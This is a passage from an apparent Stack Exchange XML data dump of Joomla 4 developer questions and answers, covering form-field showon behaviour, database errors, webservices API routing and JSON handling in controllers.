this?&lt;/p&gt;&#xA;&lt;p&gt;Also we want a facility to hide the Element Label while editing the Zoo item in Frontend.&lt;/p&gt;&#xA;" OwnerUserId="16460" OwnerDisplayName="Saeed Ghofrani Jahromi" LastEditorUserId="16460" LastEditDate="2022-07-22T05:51:56.640" LastActivityDate="2022-07-22T05:51:56.640" Title="Tabs in the elements of Zoo Joomla Component" Tags="|cck|zoo-cck|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32289" PostTypeId="1" CreationDate="2022-07-20T16:46:26.423" Score="1" ViewCount="58" Body="&lt;p&gt;I have a List form field type in my form, that selects (by showon) the values visible at a second (multiple) List form field type. That works fine.&lt;/p&gt;&#xA;&lt;p&gt;Something like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;animal&amp;quot; type=&amp;quot;list&amp;quot; label=&amp;quot;label&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;cats&amp;quot;&amp;gt;cats&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;dogs&amp;quot;&amp;gt;dogs&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&amp;quot;breed&amp;quot; type=&amp;quot;list&amp;quot; label=&amp;quot;breed&amp;quot; multiple=&amp;quot;true&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:cats&amp;quot; value=&amp;quot;c1&amp;quot;&amp;gt;c1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:cats&amp;quot; value=&amp;quot;c2&amp;quot;&amp;gt;c2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:dogs&amp;quot; value=&amp;quot;d1&amp;quot;&amp;gt;d1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:dogs&amp;quot; value=&amp;quot;d2&amp;quot;&amp;gt;d2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I want to change the Second (multiple) List form field to be checkboxes, because it seems more intuitive to use.&#xA;Something like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;animal&amp;quot; type=&amp;quot;list&amp;quot; label=&amp;quot;label&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;cats&amp;quot;&amp;gt;cats&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;dogs&amp;quot;&amp;gt;dogs&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&amp;quot;breed&amp;quot; type=&amp;quot;checkboxes&amp;quot; label=&amp;quot;breed&amp;quot;&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:cats&amp;quot; value=&amp;quot;c1&amp;quot;&amp;gt;c1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:cats&amp;quot; value=&amp;quot;c2&amp;quot;&amp;gt;c2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:dogs&amp;quot; value=&amp;quot;d1&amp;quot;&amp;gt;d1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option showon=&amp;quot;animal:dogs&amp;quot; value=&amp;quot;d2&amp;quot;&amp;gt;d2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it seems &lt;strong&gt;showon&lt;/strong&gt; doesn't work with option's checkboxes type. Does it? or Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastEditorUserId="12352" LastEditDate="2022-07-21T06:30:24.890" LastActivityDate="2022-07-21T06:30:24.890" Title="Does showon work with form fields that are checkboxes?" Tags="|joomla-4.x|form-fields-types|showon|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32290" PostTypeId="1" AcceptedAnswerId="32488" CreationDate="2022-07-20T19:49:04.490" Score="1" ViewCount="326" Body="&lt;p&gt;I've set&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'maximum';&#xA;public $debug = '1';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I go into cPanel and turn off &lt;code&gt;mysqlnd&lt;/code&gt; &lt;code&gt;nd_mysqli&lt;/code&gt; and &lt;code&gt;nd_pdo_mysql&lt;/code&gt; and then turn on &lt;code&gt;mysqli&lt;/code&gt; I get an error&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;MySQL server has gone away&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But switching them back on gives me 503 Service Unavailable instead.  Which is less of an error message.&lt;/p&gt;&#xA;&lt;p&gt;Here's the full error I can get to show up from debug:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;mysqli_sql_exception&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;DatabaseDriver-&amp;gt;setQuery()&#xA;in /home/*********/public_html/libraries/src/Application/AdministratorApplication.php (line 265)&#xA;            )                -&amp;gt;bind(':style', $admin_style, ParameterType::INTEGER);        }        $query-&amp;gt;order($db-&amp;gt;quoteName('s.home'));        $db-&amp;gt;setQuery($query);        $template = $db-&amp;gt;loadObject();        $template-&amp;gt;template = InputFilter::getInstance()-&amp;gt;clean($template-&amp;gt;template, 'cmd');        $template-&amp;gt;params = new Registry($template-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And one from the error reporting maximum&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: session_write_close(): Failed to write session data using user defined save handler. (session.save_path: /opt/alt/php81/var/lib/php/session) in /home/******/public_html/libraries/vendor/joomla/session/src/Storage/NativeStorage.php on line 114&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-10-19T10:18:24.457" Title="Joomla 4 - 503 service unavailable" Tags="|mysql|joomla-4.x|phpmyadmin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32291" PostTypeId="2" ParentId="32283" CreationDate="2022-07-21T07:56:44.950" Score="2" Body="&lt;p&gt;No, there is no sensible way around this. Currently, libraries are completely uninstalled when updating. It doesn't really make much sense (this doesn't happen with other extension) and should ultimately be solved in core. For reference, this issue has been &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/23303&quot; rel=&quot;nofollow noreferrer&quot;&gt;solved&lt;/a&gt; in the past, but clearly it wasn't a complete fix. What you could do is open an issue on the issue tracker or submit a patch yourself. If accepted, this should be done in the next major version (5.0) since this would require library developers to start handling the removal of old files by themselves.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-07-21T07:56:44.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32292" PostTypeId="1" CreationDate="2022-07-21T09:46:27.937" Score="1" ViewCount="140" Body="&lt;p&gt;I'm looking for an answer to how to create a Table of content while publishing the article in Joomla. I know &amp;quot;page break&amp;quot; option but the default option design does not look on the blog page. I want Table of content look good as shown in other platform or Wikipedia.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is there any option to create TOC using HTML?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also, I'm not willing to use any extension for the same (I'd appreciate if you advice extension for it if there is no other option available).&lt;/p&gt;&#xA;" OwnerUserId="16463" LastActivityDate="2022-07-21T22:30:07.763" Title="How to add Table of Content using HTML or other options?" Tags="|articles|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32293" PostTypeId="2" ParentId="32292" CreationDate="2022-07-21T11:34:11.827" Score="1" Body="&lt;p&gt;The Table Of Contents plugin can do that. Look in the Joomla Extension Directory (JED).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/articles-toc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/articles-toc/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16374" LastEditorUserId="12352" LastEditDate="2022-07-21T22:30:07.763" LastActivityDate="2022-07-21T22:30:07.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32295" PostTypeId="1" CreationDate="2022-07-22T03:46:37.823" Score="3" ViewCount="355" Body="&lt;p&gt;I've been creating a lot of webservices API endpoints in Joomla 4 lately and wanted to ask:&#xA;&amp;quot;What's the simplest, fastest, most practical way to get the entire POST object when a controller method gets the incoming request for Joomla 3 &amp;amp; 4. Assume JSON (no HTML forms or XML) and no Joomla filtering&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I've tried to directly decode the POST superglobal i.e.&lt;br /&gt;&#xA;&lt;code&gt;$req = json_decode( $_POST )&lt;/code&gt; (generally bad practice to bypass J! entirely).&lt;/p&gt;&#xA;&lt;p&gt;I've also tried the same with &lt;code&gt;$_REQUEST&lt;/code&gt; to no avail. (again bad practice).&lt;/p&gt;&#xA;&lt;p&gt;Here is the code I've come up with after crawling through the core classes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$req = json_decode( $this-&amp;gt;input-&amp;gt;json-&amp;gt;getRaw() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That will take the raw json string and produce an isomorphic PHP object easily accessible via &lt;code&gt;-&amp;gt;&lt;/code&gt; e.g.&lt;br /&gt;&#xA;&lt;code&gt;$req-&amp;gt;action&lt;/code&gt;, or &lt;code&gt;$req-&amp;gt;data-&amp;gt;id&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want an associative array (hashmap) as the output, then try this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$req = json_decode( $this-&amp;gt;input-&amp;gt;json-&amp;gt;getRaw(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above code will produce a similar isomorph of the JSON object, as an associative array. e.g.&lt;br /&gt;&#xA;&lt;code&gt;$req[&amp;quot;action&amp;quot;]&lt;/code&gt;, or &lt;code&gt;$req[&amp;quot;data&amp;quot;][&amp;quot;id&amp;quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course, being a hashmap, the latter option allows you to substitute keys with variables i.e.&lt;br /&gt;&#xA;&lt;code&gt;$req[&amp;quot;data&amp;quot;][&amp;quot;$key&amp;quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm asking this (and asking for other &lt;strong&gt;working&lt;/strong&gt; techniques of accessing the POST object in J! 3 &amp;amp; 4 (leaving 1.5 &amp;amp; 2.5 behind)) as the following references and SO Q/A pages were unhelpful (their solutions didn't yield access to the POST object at all).&lt;/p&gt;&#xA;&lt;p&gt;Deprecated Joomla docs:&#xA;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;SO Q/A with answers mostly addressing EOL J! versions:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/55/whats-the-proper-way-to-get-the-entire-post&quot;&gt;What&amp;#39;s the proper way to get the entire $_POST?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know of a &lt;strong&gt;working&lt;/strong&gt; technique for J! 3 &amp;amp; 4 that returns the full JSON POST object?&lt;/p&gt;&#xA;" OwnerUserId="16257" LastActivityDate="2022-09-18T07:03:30.277" Title="The quickest way to get the POST object in Joomla 3 &amp; 4" Tags="|joomla-3.x|joomla-4.x|restful-api|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32296" PostTypeId="2" ParentId="32218" CreationDate="2022-07-22T04:24:27.593" Score="2" Body="&lt;p&gt;Here is an easy way to setup your routes and get on with getting work done (vs fighting with archiac and inefficient Joomla-isms)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Router\Route;&#xA;use Joomla\CMS\Log\Log;&#xA;&#xA;class PlgWebservicesAirport extends CMSPlugin&#xA;{&#xA;  protected $autoloadLanguage = true;&#xA;&#xA;  public function onBeforeApiRoute(&amp;amp;$router)&#xA;  {&#xA;    // A nice granular way to do it.&#xA;    // new Route(['HTTP_METHOD'],  'arbitrary/pattern/string',                     '&amp;lt;CONTROLLER_NAME&amp;gt;.PUBLIC_METHOD_NAME',               [], $defaults)&#xA;    // Obviously substitute the COMPONENTNAME (lowercase no spaces), &amp;lt;CONTROLLER_NAME&amp;gt; as lowercase, &amp;amp; PUBLIC_METHOD_NAME as camelcase.&#xA;    // controllers are to be places in [site_root]/api/components/src/Controllers/&amp;lt;CONTROLLER_NAME&amp;gt;Controller.php&#xA;&#xA;    // So the 'hangars' controller below would in fact be located at:  [site_root]/api/components/com_airport/src/Controllers/HangarsController.php&#xA;    // inside of it would be a public method called getHangarsByAirline() etc&#xA;&#xA;    // An obvious example for ease of comprehension&#xA;    $defaults    = array_merge(['public' =&amp;gt; false], ['component' =&amp;gt; 'com_airport']);&#xA;    $routes = [&#xA;      /* My cool routes */&#xA;      new Route(['GET'],   'v1/airport/hangars/by/airline/:airLineName',     'hangars.getHangarsByAirline',                ['airLineName'    =&amp;gt; '(filter.+validation.+regex)'], $defaults),&#xA;      /* No filtration regex allows ALL patterns to pass through into Jinput on the controller side. */&#xA;      new Route(['GET'],  'v1/airport/hangar/by/id/:id',                          'hangars.getHangarById',                 ['id' =&amp;gt; '(\d{1,9})'], $defaults),&#xA;      /* No filtration regex allows ALL patterns to pass through into Jinput on the controller side. */&#xA;      new Route(['GET'],  'v1/airport/lounges/by/airline/:airLineName',    'lounges.getLoungesByAirline',           [], $defaults),&#xA;      /* No url parameter, no checking necessary, so you need to grab the POST body via $req = json_decode( $this-&amp;gt;input-&amp;gt;json-&amp;gt;getRaw() ); on the controller side) */&#xA;      new Route(['POST'],  'v1/airport/purchase/ticket',                     'tickets.purchaseTicket',               [], $defaults)&#xA;    ];&#xA;    $router-&amp;gt;addRoutes($routes);&#xA;  }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now if you'd like to have a clean set of component + webservices plugin, that will take days of research for J! 4 (which I spent a few months learning).&lt;/p&gt;&#xA;&lt;p&gt;So to save future me (and you now too) the pain of component and plugin authoring, I wrote a python script that makes working J! 4 scaffolds of the component and webservices plugin.&#xA;Check it out on my github and have fun developing with J! 4!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Node0/joomla-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Node0's extension generator joomla-tools on github&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16257" LastEditorUserId="16257" LastEditDate="2022-07-22T04:30:06.823" LastActivityDate="2022-07-22T04:30:06.823" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32297" PostTypeId="1" AcceptedAnswerId="32302" CreationDate="2022-07-22T13:01:51.673" Score="1" ViewCount="962" Body="&lt;p&gt;I'm currently building a new Joomla! 4 component from scratch by following along &lt;a href=&quot;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a series of blog posts&lt;/a&gt; since I am new to Joomla! and its development.&lt;/p&gt;&#xA;&lt;p&gt;I am using Joomla! 4.1.5&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately I am not able to get the front-end part working while the back-end part works fine. I always get the &amp;quot;View not found&amp;quot; error when trying to visit any front-end site of the component.&lt;/p&gt;&#xA;&lt;p&gt;The error shown is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;404 View not found [name, type, prefix]: foo, html, foo\component\bar\site\controller\displayView&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I did is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a DisplayController to the site part with path &lt;code&gt;com_foo/src/Controller/DisplayController.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Foo\Component\Bar\Site\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;class DisplayController extends BaseController&#xA;{&#xA;    public function display($cachable = false, $urlparams = []): DisplayController&#xA;    {&#xA;        return parent::display($cachable, $urlparams);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add a View to the site part with path &lt;code&gt;com_foo/src/View/Foo/HtmlView.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Foo\Component\Bar\Site\View\Foo;&#xA;&#xA;use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;&#xA;&#xA;class HtmlView extends BaseHtmlView&#xA;{&#xA;    public function display($template = null)&#xA;    {&#xA;        parent::display($template);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add a template with very basic content to the site part with path: &lt;code&gt;com_foo/tmpl/foo/default.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;default template for foo part&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Install component (with uninstalling the old one before).&lt;/li&gt;&#xA;&lt;li&gt;Go to URL &lt;code&gt;http://localhost/index.php?option=com_foo&amp;amp;view=foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The error is shown&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16466" LastActivityDate="2022-07-26T20:37:30.530" Title="404 View not found [name, type, prefix]" Tags="|component|development|joomla-4.x|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32298" PostTypeId="2" ParentId="1126" CreationDate="2022-07-23T00:43:00.807" Score="1" Body="&lt;p&gt;Here you go (for use in controller methods mapped to by webservices plugin-mediated routes predominantly):&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;This works in J! 3 &amp;amp; J! 4&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your controller's class, add the following public method (I add as part of a trait but to each their own):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  /**&#xA;   * emitJson&#xA;   *&#xA;   * @author    Joe Hacobian&#xA;   * @since v0.0.1&#xA;   * @access    public&#xA;   * @param mixed   $inputArr&#xA;   * @return    void Writes Response &amp;amp; closes connection&#xA;   */&#xA;  public function emitJson($inputArr)&#xA;  {&#xA;    /* Thanks go out to Nicholas K. Dionysopoulos from Akeeba&#xA;    for coming up with emitting JSON from Joomla this way.&#xA;    */&#xA;    header('Content-type:application/json;charset=utf-8');&#xA;    // Add the following header only if you run into intractable CORS issues.&#xA;    // header('Access-Control-Allow-Origin: *');&#xA;    @ob_end_clean();&#xA;    echo (json_encode($inputArr));&#xA;    flush();&#xA;    $this-&amp;gt;app-&amp;gt;close();&#xA;    return;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla 'catches' the echo'd output, thus it's necessary to stop output buffering during the json response emission, then echo the encoded json, and then to call &lt;code&gt;flush()&lt;/code&gt; in order to make sure the output is sent.&lt;/p&gt;&#xA;&lt;p&gt;Since this is a REST API response, it follows that JSON response emission is the final act in the lifecycle of a REST endpoint, this is why we call:&lt;br /&gt;&#xA;&lt;code&gt;$this-&amp;gt;app-&amp;gt;close();&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This means that the &lt;code&gt;return;&lt;/code&gt; statement is &lt;em&gt;never&lt;/em&gt; executed, it is included as a semantic device only.&lt;/p&gt;&#xA;" OwnerUserId="16257" LastActivityDate="2022-07-23T00:43:00.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32300" PostTypeId="1" CreationDate="2022-07-24T10:32:00.030" Score="1" ViewCount="27" Body="&lt;p&gt;I have a new website using the Simple Image Gallery extension. I have it working pretty well it seems. However when I crop an image in my image directory, the original is still displayed in the image gallery, which is not the behaviour I want (nor expect). So, is it, in fact, possible to display the cropped image, instead of the original in the image gallery? And if so, what else do I have to do, apart from crop it and save it in the image directory to make this work? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16469" LastActivityDate="2022-07-24T10:32:00.030" Title="Simple Image Gallery Cropped Images" Tags="|extensions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32302" PostTypeId="2" ParentId="32297" CreationDate="2022-07-25T11:16:55.807" Score="2" Body="&lt;p&gt;I was able to resolve the issue. The &lt;code&gt;DisplayController&lt;/code&gt; of the front-end part was lacking a proper constructor, once I added it the site part works as well.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Foo\Component\Bar\Site\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;class DisplayController extends BaseController&#xA;{&#xA;    public function __construct($config = [], MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)&#xA;    {&#xA;        parent::__construct($config, $factory, $app, $input);&#xA;    }&#xA;&#xA;    public function display($cachable = false, $urlparams = []): DisplayController&#xA;    {&#xA;        return parent::display($cachable, $urlparams);&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16466" LastActivityDate="2022-07-25T11:16:55.807" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32303" PostTypeId="1" AcceptedAnswerId="32305" CreationDate="2022-07-25T16:30:23.230" Score="1" ViewCount="109" Body="&lt;p&gt;In the chat component I developed there is a View inside an Iframe in the Main View. The component's CSS works normally, but I can't use the standard Joomla layout classes. The HTML is sent by the component's Javascript into the HTML of a DIV.&#xA;Example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;i class=&amp;quot;icon-clock&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Component:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/tabapapo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/tabapapo/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16285" LastActivityDate="2022-07-27T06:59:50.787" Title="Joomla layout CSS classes in a view into iFrame" Tags="|component|javascript|css|joomla-4.x|view|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32305" PostTypeId="2" ParentId="32303" CreationDate="2022-07-27T06:59:50.787" Score="2" Body="&lt;p&gt;It doesn't work the way you expect because you're using &lt;code&gt;tmpl&lt;/code&gt; URL parameter with value &lt;code&gt;messages&lt;/code&gt;. What this parameter does is tells is to render the page using the specified template layout. When the given layout doesn't exist, the default (&lt;code&gt;index&lt;/code&gt;) layout from &lt;code&gt;system&lt;/code&gt; template is used. It has minimal styling and does not load the icon stylesheets. Changing the &lt;code&gt;tmpl&lt;/code&gt; parameter value to &lt;code&gt;component&lt;/code&gt; alone would work with the default Cassiopeia template. But if you expect certain CSS classes to work, you should also load the stylesheets in your view layout so it actually works with all templates. To enable fontawesome, you can use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;document-&amp;gt;getWebAssetManager()-&amp;gt;useStyle('fontawesome');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another thing to consider is that using classes and allowing HTML in general is probably not the best idea for a live chat. Would be better to use some sort of shortcodes or alternative syntax like Markdown. Or, if you do use HTML, you should at least filter out dangerous tags and attributes. Because currently your component is wide open to XSS attacks.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-07-27T06:59:50.787" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32306" PostTypeId="1" CreationDate="2022-07-27T08:22:31.833" Score="1" ViewCount="288" Body="&lt;p&gt;When you click a Tag you are directed to Tags results that are rendered by ../components/com_tags/tag/default_items.php.&#xA;By overriding this file you can have your specific look.&#xA;A serious issue with the above file is the rendering of the truncated text that has HTML tags and this can result in a breaking layout. For example, if you have an opening Unordered List tag without the closing tag, a usual issue, that breaks the whole layout.&lt;/p&gt;&#xA;&lt;p&gt;The code (in Joomla 4) that displays the truncated text from the main article text is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo HTMLHelper::_('string.truncate', $item-&amp;gt;core_body, $this-&amp;gt;params-&amp;gt;get('tag_list_item_maximum_characters')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, the question is: How can we modify the above code to strip HTML tags?&lt;/p&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="2199" LastEditDate="2022-07-27T08:45:53.793" LastActivityDate="2024-01-29T02:06:55.857" Title="Clean HTML tags from Tags results truncated text" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32307" PostTypeId="2" ParentId="32218" CreationDate="2022-07-27T23:22:46.760" Score="4" Body="&lt;h2&gt;Academic explanation of J! 4 webservices route mapping&lt;/h2&gt;&#xA;&lt;p&gt;This is an explanation of how Joomla 4 (hereafter referred to as J! 4) webservices route resolution and method finding works.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Disclaimer&lt;/code&gt; What follows is an explanation only. I'm attempting to educate you as to what J! 4 is trying to make you do. It is not an endorsement. I do NOT recommend jumping down &amp;quot;The Joomla 4 Way&amp;quot; (hereafter referred to as The J! 4 way) rabbit hole, because as you will shortly find out, the abstraction tree is both deep, wide &amp;amp; you'll end up being forced to write a very specific J! 4 dialect of PHP as well as jump between multiple files in order to persuade the architecture to get things done. &lt;em&gt;In my original answer on this question I attempt to liberate developers coming from other paradigms from getting caught in the J! 4 class hierarchy trap.&lt;/em&gt; Neither am I against OOP, I'm a fan of classes, when used in moderation. J! 4 is not an architecture of OOP moderation, it is OOP taken to some rather extensive lengths. That's great for the ivory tower or if you have years to invest in the architecture, most daily programmers do not have such luxurious time outlay to get entangled in this architecture.&lt;br /&gt;&#xA;Let's do this! Get yourself a powerful caffeinated beverage, buckle your seatbelts and here we go...&lt;/p&gt;&#xA;&lt;h2&gt;Where the webservices route lifecycle starts&lt;/h2&gt;&#xA;&lt;p&gt;In your webservices plugin (where routing and our request lifecycle starts) The innocent looking code which registers a route &amp;quot;The J! 4 Way&amp;quot; is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Registers com_users's API's routes in the application&#xA;     *&#xA;     * @param   ApiRouter  &amp;amp;$router  The API Routing object&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   4.0.0&#xA;     */&#xA;    public function onBeforeApiRoute(&amp;amp;$router)&#xA;    {&#xA;        $router-&amp;gt;createCRUDRoutes(&#xA;            'v1/users',&#xA;            'users',&#xA;            ['component' =&amp;gt; 'com_users']&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In order to understand what's happening here we are forced to go read:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;[siteroot]/libraries/src/Router/ApiRouter.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In that file (the ApiRouter class) you'll find a method called &lt;code&gt;createCRUDRoutes&lt;/code&gt; which is responsible for the actual mapping of your arbitrary route string (the &lt;code&gt;v1/users&lt;/code&gt; string in the plugin's route declaration above) to a controller, and its methods.&lt;/p&gt;&#xA;&lt;p&gt;First the code in the ApiRouter class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function createCRUDRoutes($baseName, $controller, $defaults = [], $publicGets = false)&#xA;    {&#xA;        $getDefaults = array_merge(['public' =&amp;gt; $publicGets], $defaults);&#xA;&#xA;        $routes = [&#xA;            new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults),&#xA;            new Route(['GET'], $baseName . '/:id', $controller . '.displayItem', ['id' =&amp;gt; '(\d+)'], $getDefaults),&#xA;            new Route(['POST'], $baseName, $controller . '.add', [], $defaults),&#xA;            new Route(['PATCH'], $baseName . '/:id', $controller . '.edit', ['id' =&amp;gt; '(\d+)'], $defaults),&#xA;            new Route(['DELETE'], $baseName . '/:id', $controller . '.delete', ['id' =&amp;gt; '(\d+)'], $defaults),&#xA;        ];&#xA;&#xA;        $this-&amp;gt;addRoutes($routes);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here &lt;code&gt;$baseName&lt;/code&gt; is the arbitrary route string you defined in the webservices plugin i.e. &lt;code&gt;v1/users&lt;/code&gt; in our example.&lt;br /&gt;&#xA;&lt;code&gt;$controller&lt;/code&gt; is the &lt;em&gt;class name&lt;/em&gt; of the controller that J! 4 will look for in the following 